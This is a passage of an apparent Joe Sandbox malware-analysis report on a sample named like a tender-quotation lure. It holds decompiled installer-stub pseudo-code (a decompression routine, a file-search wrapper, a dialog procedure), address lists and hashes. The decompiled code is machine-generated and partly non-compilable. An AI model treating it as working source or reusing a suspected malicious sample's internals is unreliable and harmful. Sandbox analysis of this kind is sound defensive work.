          									__eax =  *(__ebp - 0x40);
          									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
          										_t391 = __ebp - 0x2c;
          										 *_t391 =  *(__ebp - 0x2c) + __ebx;
          										__eflags =  *_t391;
          										goto L119;
          									}
          									__eax =  *(__ebp - 0x50);
          									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          									__eax =  *(__ebp - 0x58);
          									__esi = __edi + __eax;
          									 *(__ebp - 0x54) = __esi;
          									__ax =  *__esi;
          									__ecx = __ax & 0x0000ffff;
          									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
          									__eflags =  *(__ebp - 0xc) - __edx;
          									if( *(__ebp - 0xc) >= __edx) {
          										__ecx = 0;
          										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
          										__ecx = 1;
          										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
          										__ebx = 1;
          										__ecx =  *(__ebp - 0x48);
          										__ebx = 1 << __cl;
          										__ecx = 1 << __cl;
          										__ebx =  *(__ebp - 0x44);
          										__ebx =  *(__ebp - 0x44) | __ecx;
          										__cx = __ax;
          										__cx = __ax >> 5;
          										__eax = __eax - __ecx;
          										__edi = __edi + 1;
          										__eflags = __edi;
          										 *(__ebp - 0x44) = __ebx;
          										 *__esi = __ax;
          										 *(__ebp - 0x50) = __edi;
          									} else {
          										 *(__ebp - 0x10) = __edx;
          										0x800 = 0x800 - __ecx;
          										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
          										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          										 *__esi = __dx;
          									}
          									__eflags =  *(__ebp - 0x10) - 0x1000000;
          									if( *(__ebp - 0x10) >= 0x1000000) {
          										L111:
          										_t368 = __ebp - 0x48;
          										 *_t368 =  *(__ebp - 0x48) + 1;
          										__eflags =  *_t368;
          										goto L112;
          									} else {
          										goto L109;
          									}
          								}
          								__ecx =  *(__ebp - 0xc);
          								__ebx = __ebx + __ebx;
          								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
          								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          								 *(__ebp - 0x44) = __ebx;
          								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
          									__ecx =  *(__ebp - 0x10);
          									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          									__ebx = __ebx | 0x00000001;
          									__eflags = __ebx;
          									 *(__ebp - 0x44) = __ebx;
          								}
          								__eflags =  *(__ebp - 0x10) - 0x1000000;
          								if( *(__ebp - 0x10) >= 0x1000000) {
          									L101:
          									_t338 = __ebp - 0x48;
          									 *_t338 =  *(__ebp - 0x48) - 1;
          									__eflags =  *_t338;
          									goto L102;
          								} else {
          									goto L99;
          								}
          							}
          							__edx =  *(__ebp - 4);
          							__eax = __eax - __ebx;
          							 *(__ebp - 0x40) = __ecx;
          							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
          							goto L108;
          						case 0x1a:
          							goto L55;
          						case 0x1b:
          							L75:
          							__eflags =  *(__ebp - 0x64);
          							if( *(__ebp - 0x64) == 0) {
          								 *(__ebp - 0x88) = 0x1b;
          								goto L170;
          							}
          							__eax =  *(__ebp - 0x14);
          							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          							__eflags = __eax -  *(__ebp - 0x74);
          							if(__eax >=  *(__ebp - 0x74)) {
          								__eax = __eax +  *(__ebp - 0x74);
          								__eflags = __eax;
          							}
          							__edx =  *(__ebp - 8);
          							__cl =  *(__eax + __edx);
          							__eax =  *(__ebp - 0x14);
          							 *(__ebp - 0x5c) = __cl;
          							 *(__eax + __edx) = __cl;
          							__eax = __eax + 1;
          							__edx = 0;
          							_t274 = __eax %  *(__ebp - 0x74);
          							__eax = __eax /  *(__ebp - 0x74);
          							__edx = _t274;
          							__eax =  *(__ebp - 0x68);
          							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          							_t283 = __ebp - 0x64;
          							 *_t283 =  *(__ebp - 0x64) - 1;
          							__eflags =  *_t283;
          							 *( *(__ebp - 0x68)) = __cl;
          							goto L79;
          						case 0x1c:
          							while(1) {
          								L123:
          								__eflags =  *(__ebp - 0x64);
          								if( *(__ebp - 0x64) == 0) {
          									break;
          								}
          								__eax =  *(__ebp - 0x14);
          								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          								__eflags = __eax -  *(__ebp - 0x74);
          								if(__eax >=  *(__ebp - 0x74)) {
          									__eax = __eax +  *(__ebp - 0x74);
          									__eflags = __eax;
          								}
          								__edx =  *(__ebp - 8);
          								__cl =  *(__eax + __edx);
          								__eax =  *(__ebp - 0x14);
          								 *(__ebp - 0x5c) = __cl;
          								 *(__eax + __edx) = __cl;
          								__eax = __eax + 1;
          								__edx = 0;
          								_t414 = __eax %  *(__ebp - 0x74);
          								__eax = __eax /  *(__ebp - 0x74);
          								__edx = _t414;
          								__eax =  *(__ebp - 0x68);
          								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
          								__eflags =  *(__ebp - 0x30);
          								 *( *(__ebp - 0x68)) = __cl;
          								 *(__ebp - 0x14) = __edx;
          								if( *(__ebp - 0x30) > 0) {
          									continue;
          								} else {
          									goto L80;
          								}
          							}
          							 *(__ebp - 0x88) = 0x1c;
          							goto L170;
          					}
          				}
          			}













          0x00000000
          0x00406d5f
          0x00406d5f
          0x00406d64
          0x00406ddb
          0x00406de2
          0x00406dec
          0x004073cb
          0x004073cb
          0x004073ce
          0x004073ce
          0x004073d4
          0x004073da
          0x004073e0
          0x004073fa
          0x004073fd
          0x00407403
          0x0040740e
          0x00407410
          0x004073e2
          0x004073e2
          0x004073f1
          0x004073f5
          0x004073f5
          0x0040741a
          0x00407441
          0x00407441
          0x00407447
          0x00407447
          0x00000000
          0x0040741c
          0x0040741c
          0x00407420
          0x004075cf
          0x00000000
          0x004075cf
          0x0040742c
          0x00407433
          0x0040743b
          0x0040743e
          0x00000000
          0x0040743e
          0x00406d66
          0x00406d66
          0x00406d6a
          0x00406d72
          0x00406d75
          0x00406d77
          0x00406d7a
          0x00406d7c
          0x00406d81
          0x00406d84
          0x00406d8b
          0x00406d92
          0x00406d95
          0x00406da0
          0x00406da8
          0x00406da8
          0x00406da2
          0x00406da2
          0x00406da2
          0x00406d97
          0x00406d97
          0x00406d97
          0x00406daf
          0x00406dcd
          0x00406dcf
          0x00406fa2
          0x00406fa2
          0x00406fa5
          0x00406fa8
          0x00406fab
          0x00406fae
          0x00406fb1
          0x00406fb4
          0x00406fb7
          0x00406fba
          0x00406fc0
          0x00406fd8
          0x00406fdb
          0x00406fde
          0x00406fe1
          0x00406fe1
          0x00406fe4
          0x00406fea
          0x00406fc2
          0x00406fc2
          0x00406fca
          0x00406fcf
          0x00406fd1
          0x00406fd3
          0x00406fd3
          0x00406ff4
          0x00406ff7
          0x00406f9a
          0x00406fa0
          0x00000000
          0x00000000
          0x00000000
          0x00406ff9
          0x00406f75
          0x00406f79
          0x00407581
          0x00000000
          0x00407581
          0x00406f7f
          0x00406f82
          0x00406f85
          0x00406f89
          0x00406f8c
          0x00406f92
          0x00406f94
          0x00406f94
          0x00406f97
          0x00000000
          0x00406f97
          0x00406db1
          0x00406db1
          0x00406db4
          0x00406dba
          0x00406dbc
          0x00406dbc
          0x00406dbf
          0x00406dc2
          0x00406dc4
          0x00406dc5
          0x00406dc8
          0x00406e35
          0x00406e35
          0x00406e39
          0x00406e3c
          0x00406e3f
          0x00406e42
          0x00406e45
          0x00406e46
          0x00406e49
          0x00406e4b
          0x00406e51
          0x00406e54
          0x00406e57
          0x00406e5a
          0x00406e5d
          0x00406e63
          0x00406e7f
          0x00406e82
          0x00406e85
          0x00406e88
          0x00406e8f
          0x00406e95
          0x00406e99
          0x00406e65
          0x00406e65
          0x00406e69
          0x00406e71
          0x00406e76
          0x00406e78
          0x00406e7a
          0x00406e7a
          0x00406ea3
          0x00406ea6
          0x00406e1d
          0x00406e1d
          0x00406e23
          0x00406ed6
          0x00406edc
          0x00000000
          0x00000000
          0x00406ede
          0x00406ee1
          0x00406ee4
          0x00406ee7
          0x00406eea
          0x00406eed
          0x00406ef0
          0x00406ef3
          0x00406ef6
          0x00406efc
          0x00406f14
          0x00406f17
          0x00406f1a
          0x00406f1d
          0x00406f1d
          0x00406f20
          0x00406f26
          0x00406efe
          0x00406efe
          0x00406f06
          0x00406f0b
          0x00406f0d
          0x00406f0f
          0x00406f0f
          0x00406f30
          0x00406f33
          0x00406eb1
          0x00406eb5
          0x00407575
          0x00000000
          0x00407575
          0x00406ebb
          0x00406ebe
          0x00406ec1
          0x00406ec5
          0x00406ec8
          0x00406ece
          0x00406ed0
          0x00406ed0
          0x00406ed3
          0x00406ed3
          0x00406f33
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00406f3e
          0x00406f3e
          0x00406f41
          0x00406f44
          0x00406f48
          0x0040758d
          0x00000000
          0x0040758d
          0x00406f4e
          0x00406f51
          0x00406f54
          0x00406f57
          0x00406f5a
          0x00406f5d
          0x00406f60
          0x00406f62
          0x00406f65
          0x00406f68
          0x00406f6b
          0x00406f6d
          0x00406f6d
          0x00406f6d
          0x0040710a
          0x0040710a
          0x0040710d
          0x0040710d
          0x00000000
          0x0040710d
          0x00406e2f
          0x00000000
          0x00000000
          0x00000000
          0x00406eac
          0x00406df8
          0x00406dfc
          0x00407569
          0x004075e5
          0x004075ed
          0x004075f4
          0x004075f6
          0x004075fd
          0x00407601
          0x00407601
          0x00406e02
          0x00406e05
          0x00406e08
          0x00406e0c
          0x00406e0f
          0x00406e15
          0x00406e17
          0x00406e17
          0x00406e1a
          0x00000000
          0x00406e1a
          0x00406ea6
          0x00406daf
          0x00406be3
          0x00406be3
          0x00406bec
          0x004075fa
          0x004075fa
          0x00000000
          0x004075fa
          0x00406bf2
          0x00000000
          0x00406bfd
          0x00000000
          0x00000000
          0x00406c06
          0x00406c09
          0x00406c0c
          0x00406c10
          0x00000000
          0x00000000
          0x00406c16
          0x00406c19
          0x00406c1b
          0x00406c1c
          0x00406c1f
          0x00406c21
          0x00406c22
          0x00406c24
          0x00406c27
          0x00406c2c
          0x00406c31
          0x00406c3a
          0x00406c4d
          0x00406c50
          0x00406c5c
          0x00406c84
          0x00406c86
          0x00406c94
          0x00406c94
          0x00406c98
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406c88
          0x00406c88
          0x00406c8b
          0x00406c8c
          0x00406c8c
          0x00000000
          0x00406c88
          0x00406c62
          0x00406c67
          0x00406c67
          0x00406c70
          0x00406c78
          0x00406c7b
          0x00000000
          0x00406c81
          0x00406c81
          0x00000000
          0x00406c81
          0x00000000
          0x00406c9e
          0x00406c9e
          0x00406ca2
          0x0040754e
          0x00000000
          0x0040754e
          0x00406cab
          0x00406cbb
          0x00406cbe
          0x00406cc1
          0x00406cc1
          0x00406cc1
          0x00406cc4
          0x00406cc8
          0x00000000
          0x00000000
          0x00406cca
          0x00406cd0
          0x00406cfa
          0x00406d00
          0x00406d07
          0x00000000
          0x00406d07
          0x00406cd6
          0x00406cd9
          0x00406cde
          0x00406cde
          0x00406ce9
          0x00406cf1
          0x00406cf4
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406d39
          0x00406d3f
          0x00406d42
          0x00406d4f
          0x00406d57
          0x00000000
          0x00000000
          0x00406d0e
          0x00406d0e
          0x00406d12
          0x0040755d
          0x00000000
          0x0040755d
          0x00406d1e
          0x00406d29
          0x00406d29
          0x00406d29
          0x00406d2c
          0x00406d2f
          0x00406d32
          0x00406d37
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406ffe
          0x00407002
          0x00407020
          0x00407023
          0x0040702a
          0x0040702d
          0x00407030
          0x00407033
          0x00407036
          0x00407039
          0x0040703b
          0x00407042
          0x00407043
          0x00407045
          0x00407048
          0x0040704b
          0x0040704e
          0x0040704e
          0x00407053
          0x00000000
          0x00407053
          0x00407004
          0x00407007
          0x0040700a
          0x00407014
          0x00000000
          0x00000000
          0x00407068
          0x0040706c
          0x0040708f
          0x00407092
          0x00407095
          0x0040709f
          0x0040706e
          0x0040706e
          0x00407071
          0x00407074
          0x00407077
          0x00407084
          0x00407087
          0x00407087
          0x00000000
          0x00000000
          0x004070ab
          0x004070af
          0x00000000
          0x00000000
          0x004070b5
          0x004070b9
          0x00000000
          0x00000000
          0x004070bf
          0x004070c1
          0x004070c5
          0x004070c5
          0x004070c8
          0x004070cc
          0x00000000
          0x00000000
          0x0040711c
          0x00407120
          0x00407127
          0x0040712a
          0x0040712d
          0x00407137
          0x00000000
          0x00407137
          0x00407122
          0x00000000
          0x00000000
          0x00407143
          0x00407147
          0x0040714e
          0x00407151
          0x00407154
          0x00407149
          0x00407149
          0x00407149
          0x00407157
          0x0040715a
          0x0040715d
          0x0040715d
          0x00407160
          0x00407163
          0x00407166
          0x00407166
          0x00407169
          0x00407170
          0x00407175
          0x00000000
          0x00000000
          0x00407203
          0x00407203
          0x00407207
          0x004075a5
          0x00000000
          0x004075a5
          0x0040720d
          0x00407210
          0x00407213
          0x00407217
          0x0040721a
          0x00407220
          0x00407222
          0x00407222
          0x00407222
          0x00407225
          0x00407228
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00407286
          0x00407286
          0x0040728a
          0x004075b1
          0x00000000
          0x004075b1
          0x00407290
          0x00407293
          0x00407296
          0x0040729a
          0x0040729d
          0x004072a3
          0x004072a5
          0x004072a5
          0x004072a5
          0x004072a8
          0x00000000
          0x00000000
          0x00407056
          0x00407056
          0x00407059
          0x00000000
          0x00000000
          0x00407395
          0x00407399
          0x004073bb
          0x004073be
          0x004073c8
          0x00000000
          0x004073c8
          0x0040739b
          0x0040739e
          0x004073a2
          0x004073a5
          0x004073a5
          0x004073a8
          0x00000000
          0x00000000
          0x00407452
          0x00407456
          0x00407474
          0x00407474
          0x00407474
          0x0040747b
          0x00407482
          0x00407489
          0x00407489
          0x00000000
          0x00407489
          0x00407458
          0x0040745b
          0x0040745e
          0x00407461
          0x00407468
          0x004073ac
          0x004073ac
          0x004073af
          0x00000000
          0x00000000
          0x00407543
          0x00407546
          0x00000000
          0x00000000
          0x0040717d
          0x0040717f
          0x00407186
          0x00407187
          0x00407189
          0x0040718c
          0x00000000
          0x00000000
          0x00407194
          0x00407197
          0x0040719a
          0x0040719c
          0x0040719e
          0x0040719e
          0x0040719f
          0x004071a2
          0x004071a9
          0x004071ac
          0x004071ba
          0x00000000
          0x00000000
          0x00407490
          0x00407490
          0x00407493
          0x0040749a
          0x00000000
          0x00000000
          0x0040749f
          0x0040749f
          0x004074a3
          0x004075db
          0x00000000
          0x004075db
          0x004074a9
          0x004074ac
          0x004074af
          0x004074b3
          0x004074b6
          0x004074bc
          0x004074be
          0x004074be
          0x004074be
          0x004074c1
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c7
          0x004074c7
          0x004074cb
          0x0040752b
          0x0040752e
          0x00407533
          0x00407534
          0x00407536
          0x00407538
          0x0040753b
          0x00000000
          0x0040753b
          0x004074cd
          0x004074d3
          0x004074d6
          0x004074d9
          0x004074dc
          0x004074df
          0x004074e2
          0x004074e5
          0x004074e8
          0x004074eb
          0x004074ee
          0x00407507
          0x0040750a
          0x0040750d
          0x00407510
          0x00407514
          0x00407516
          0x00407516
          0x00407517
          0x0040751a
          0x004074f0
          0x004074f0
          0x004074f8
          0x004074fd
          0x004074ff
          0x00407502
          0x00407502
          0x0040751d
          0x00407524
          0x00000000
          0x00407526
          0x00000000
          0x00407526
          0x00000000
          0x004071c2
          0x004071c5
          0x004071fb
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732e
          0x0040732e
          0x00407331
          0x00407333
          0x004075bd
          0x00000000
          0x004075bd
          0x00407339
          0x0040733c
          0x00000000
          0x00000000
          0x00407342
          0x00407346
          0x00407349
          0x00407349
          0x00407349
          0x00000000
          0x00407349
          0x004071c7
          0x004071c9
          0x004071cb
          0x004071cd
          0x004071d0
          0x004071d1
          0x004071d3
          0x004071d5
          0x004071d8
          0x004071db
          0x004071f1
          0x004071f6
          0x0040722e
          0x0040722e
          0x00407232
          0x0040725e
          0x00407260
          0x00407267
          0x0040726a
          0x0040726d
          0x0040726d
          0x00407272
          0x00407272
          0x00407274
          0x00407277
          0x0040727e
          0x00407281
          0x004072ae
          0x004072ae
          0x004072b1
          0x004072b4
          0x00407328
          0x00407328
          0x00407328
          0x00000000
          0x00407328
          0x004072b6
          0x004072bc
          0x004072bf
          0x004072c2
          0x004072c5
          0x004072c8
          0x004072cb
          0x004072ce
          0x004072d1
          0x004072d4
          0x004072d7
          0x004072f0
          0x004072f2
          0x004072f5
          0x004072f6
          0x004072f9
          0x004072fb
          0x004072fe
          0x00407300
          0x00407302
          0x00407305
          0x00407307
          0x0040730a
          0x0040730e
          0x00407310
          0x00407310
          0x00407311
          0x00407314
          0x00407317
          0x004072d9
          0x004072d9
          0x004072e1
          0x004072e6
          0x004072e8
          0x004072eb
          0x004072eb
          0x0040731a
          0x00407321
          0x004072ab
          0x004072ab
          0x004072ab
          0x004072ab
          0x00000000
          0x00407323
          0x00000000
          0x00407323
          0x00407321
          0x00407234
          0x00407237
          0x00407239
          0x0040723c
          0x0040723f
          0x00407242
          0x00407244
          0x00407247
          0x0040724a
          0x0040724a
          0x0040724d
          0x0040724d
          0x00407250
          0x00407257
          0x0040722b
          0x0040722b
          0x0040722b
          0x0040722b
          0x00000000
          0x00407259
          0x00000000
          0x00407259
          0x00407257
          0x004071dd
          0x004071e0
          0x004071e2
          0x004071e5
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004070cf
          0x004070cf
          0x004070d3
          0x00407599
          0x00000000
          0x00407599
          0x004070d9
          0x004070dc
          0x004070df
          0x004070e2
          0x004070e4
          0x004070e4
          0x004070e4
          0x004070e7
          0x004070ea
          0x004070ed
          0x004070f0
          0x004070f3
          0x004070f6
          0x004070f7
          0x004070f9
          0x004070f9
          0x004070f9
          0x004070fc
          0x004070ff
          0x00407102
          0x00407105
          0x00407105
          0x00407105
          0x00407108
          0x00000000
          0x00000000
          0x0040734c
          0x0040734c
          0x0040734c
          0x00407350
          0x00000000
          0x00000000
          0x00407356
          0x00407359
          0x0040735c
          0x0040735f
          0x00407361
          0x00407361
          0x00407361
          0x00407364
          0x00407367
          0x0040736a
          0x0040736d
          0x00407370
          0x00407373
          0x00407374
          0x00407376
          0x00407376
          0x00407376
          0x00407379
          0x0040737c
          0x0040737f
          0x00407382
          0x00407385
          0x00407389
          0x0040738b
          0x0040738e
          0x00000000
          0x00407390
          0x00000000
          0x00407390
          0x0040738e
          0x004075c3
          0x00000000
          0x00000000
          0x00406bf2

          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
          • Instruction ID: 02c1e40b0c9780dd067322b7733c474732bd0f187a49f53fd7fd3c108ee94619
          • Opcode Fuzzy Hash: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
          • Instruction Fuzzy Hash: 7CF15570D04229CBDF28CFA8C8946ADBBB0FF44305F24816ED456BB281D7386A86DF45
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E0040699E(WCHAR* _a4) {
          				void* _t2;
          
          				_t2 = FindFirstFileW(_a4, 0x426798); // executed
          				if(_t2 == 0xffffffff) {
          					return 0;
          				}
          				FindClose(_t2);
          				return 0x426798;
          			}




          0x004069a9
          0x004069b2
          0x00000000
          0x004069bf
          0x004069b5
          0x00000000

          APIs
          • FindFirstFileW.KERNELBASE(772EFAA0,00426798,00425F50,00406088,00425F50,00425F50,00000000,00425F50,00425F50,772EFAA0,?,772EF560,00405D94,?,772EFAA0,772EF560), ref: 004069A9
          • FindClose.KERNEL32(00000000), ref: 004069B5
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Find$CloseFileFirst
          • String ID:
          • API String ID: 2295610775-0
          • Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
          • Instruction ID: 0ca7534fdffec89160a31ceabb6ef5ff718bfc83d1618d69d17f9e635378cbc3
          • Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
          • Instruction Fuzzy Hash: 5ED012B15192205FC34057387E0C84B7A989F563317268A36B4AAF11E0CB348C3297AC
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 141 4040c5-4040d7 142 4040dd-4040e3 141->142 143 40423e-40424d 141->143 142->143 144 4040e9-4040f2 142->144 145 40429c-4042b1 143->145 146 40424f-40428a GetDlgItem * 2 call 4045c4 KiUserCallbackDispatcher call 40140b 143->146 147 4040f4-404101 SetWindowPos 144->147 148 404107-40410e 144->148 150 4042f1-4042f6 call 404610 145->150 151 4042b3-4042b6 145->151 173 40428f-404297 146->173 147->148 153 404110-40412a ShowWindow 148->153 154 404152-404158 148->154 160 4042fb-404316 150->160 156 4042b8-4042c3 call 401389 151->156 157 4042e9-4042eb 151->157 161 404130-404143 GetWindowLongW 153->161 162 40422b-404239 call 40462b 153->162 163 404171-404174 154->163 164 40415a-40416c DestroyWindow 154->164 156->157 176 4042c5-4042e4 SendMessageW 156->176 157->150 159 404591 157->159 171 404593-40459a 159->171 168 404318-40431a call 40140b 160->168 169 40431f-404325 160->169 161->162 170 404149-40414c ShowWindow 161->170 162->171 174 404176-404182 SetWindowLongW 163->174 175 404187-40418d 163->175 172 40456e-404574 164->172 168->169 180 40432b-404336 169->180 181 40454f-404568 DestroyWindow EndDialog 169->181 170->154 172->159 179 404576-40457c 172->179 173->145 174->171 175->162 182 404193-4041a2 GetDlgItem 175->182 176->171 179->159 185 40457e-404587 ShowWindow 179->185 180->181 186 40433c-404389 call 4066a5 call 4045c4 * 3 GetDlgItem 180->186 181->172 183 4041c1-4041c4 182->183 184 4041a4-4041bb SendMessageW IsWindowEnabled 182->184 187 4041c6-4041c7 183->187 188 4041c9-4041cc 183->188 184->159 184->183 185->159 213 404393-4043cf ShowWindow EnableWindow call 4045e6 EnableWindow 186->213 214 40438b-404390 186->214 190 4041f7-4041fc call 40459d 187->190 191 4041da-4041df 188->191 192 4041ce-4041d4 188->192 190->162 194 404215-404225 SendMessageW 191->194 196 4041e1-4041e7 191->196 192->194 195 4041d6-4041d8 192->195 194->162 195->190 199 4041e9-4041ef call 40140b 196->199 200 4041fe-404207 call 40140b 196->200 211 4041f5 199->211 200->162 209 404209-404213 200->209 209->211 211->190 217 4043d1-4043d2 213->217 218 4043d4 213->218 214->213 219 4043d6-404404 GetSystemMenu EnableMenuItem SendMessageW 217->219 218->219 220 404406-404417 SendMessageW 219->220 221 404419 219->221 222 40441f-40445e call 4045f9 call 4040a6 call 406668 lstrlenW call 4066a5 SetWindowTextW call 401389 220->222 221->222 222->160 233 404464-404466 222->233 233->160 234 40446c-404470 233->234 235 404472-404478 234->235 236 40448f-4044a3 DestroyWindow 234->236 235->159 237 40447e-404484 235->237 236->172 238 4044a9-4044d6 CreateDialogParamW 236->238 237->160 239 40448a 237->239 238->172 240 4044dc-404533 call 4045c4 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 238->240 239->159 240->159 245 404535-40454d ShowWindow call 404610 240->245 245->172
          C-Code - Quality: 84%
          			E004040C5(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
          				struct HWND__* _v28;
          				void* _v84;
          				void* _v88;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				signed int _t34;
          				signed int _t36;
          				signed int _t38;
          				struct HWND__* _t48;
          				signed int _t67;
          				struct HWND__* _t73;
          				signed int _t86;
          				struct HWND__* _t91;
          				signed int _t99;
          				int _t103;
          				signed int _t117;
          				int _t118;
          				int _t122;
          				signed int _t124;
          				struct HWND__* _t127;
          				struct HWND__* _t128;
          				int _t129;
          				intOrPtr _t130;
          				long _t133;
          				int _t135;
          				int _t136;
          				void* _t137;
          				void* _t145;
          
          				_t130 = _a8;
          				if(_t130 == 0x110 || _t130 == 0x408) {
          					_t34 = _a12;
          					_t127 = _a4;
          					__eflags = _t130 - 0x110;
          					 *0x423730 = _t34;
          					if(_t130 == 0x110) {
          						 *0x42a268 = _t127;
          						 *0x423744 = GetDlgItem(_t127, 1);
          						_t91 = GetDlgItem(_t127, 2);
          						_push(0xffffffff);
          						_push(0x1c);
          						 *0x421710 = _t91;
          						E004045C4(_t127);
          						SetClassLongW(_t127, 0xfffffff2,  *0x429248); // executed
          						 *0x42922c = E0040140B(4);
          						_t34 = 1;
          						__eflags = 1;
          						 *0x423730 = 1;
          					}
          					_t124 =  *0x40a39c; // 0x0
          					_t136 = 0;
          					_t133 = (_t124 << 6) +  *0x42a280;
          					__eflags = _t124;
          					if(_t124 < 0) {
          						L36:
          						E00404610(0x40b);
          						while(1) {
          							_t36 =  *0x423730;
          							 *0x40a39c =  *0x40a39c + _t36;
          							_t133 = _t133 + (_t36 << 6);
          							_t38 =  *0x40a39c; // 0x0
          							__eflags = _t38 -  *0x42a284;
          							if(_t38 ==  *0x42a284) {
          								E0040140B(1);
          							}
          							__eflags =  *0x42922c - _t136;
          							if( *0x42922c != _t136) {
          								break;
          							}
          							__eflags =  *0x40a39c -  *0x42a284; // 0x0
          							if(__eflags >= 0) {
          								break;
          							}
          							_t117 =  *(_t133 + 0x14);
          							E004066A5(_t117, _t127, _t133, 0x43a000,  *((intOrPtr*)(_t133 + 0x24)));
          							_push( *((intOrPtr*)(_t133 + 0x20)));
          							_push(0xfffffc19);
          							E004045C4(_t127);
          							_push( *((intOrPtr*)(_t133 + 0x1c)));
          							_push(0xfffffc1b);
          							E004045C4(_t127);
          							_push( *((intOrPtr*)(_t133 + 0x28)));
          							_push(0xfffffc1a);
          							E004045C4(_t127);
          							_t48 = GetDlgItem(_t127, 3);
          							__eflags =  *0x42a2ec - _t136;
          							_v28 = _t48;
          							if( *0x42a2ec != _t136) {
          								_t117 = _t117 & 0x0000fefd | 0x00000004;
          								__eflags = _t117;
          							}
          							ShowWindow(_t48, _t117 & 0x00000008);
          							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100);
          							E004045E6(_t117 & 0x00000002);
          							_t118 = _t117 & 0x00000004;
          							EnableWindow( *0x421710, _t118);
          							__eflags = _t118 - _t136;
          							if(_t118 == _t136) {
          								_push(1);
          							} else {
          								_push(_t136);
          							}
          							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
          							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
          							__eflags =  *0x42a2ec - _t136;
          							if( *0x42a2ec == _t136) {
          								_push( *0x423744);
          							} else {
          								SendMessageW(_t127, 0x401, 2, _t136);
          								_push( *0x421710);
          							}
          							E004045F9();
          							E00406668(0x423748, E004040A6());
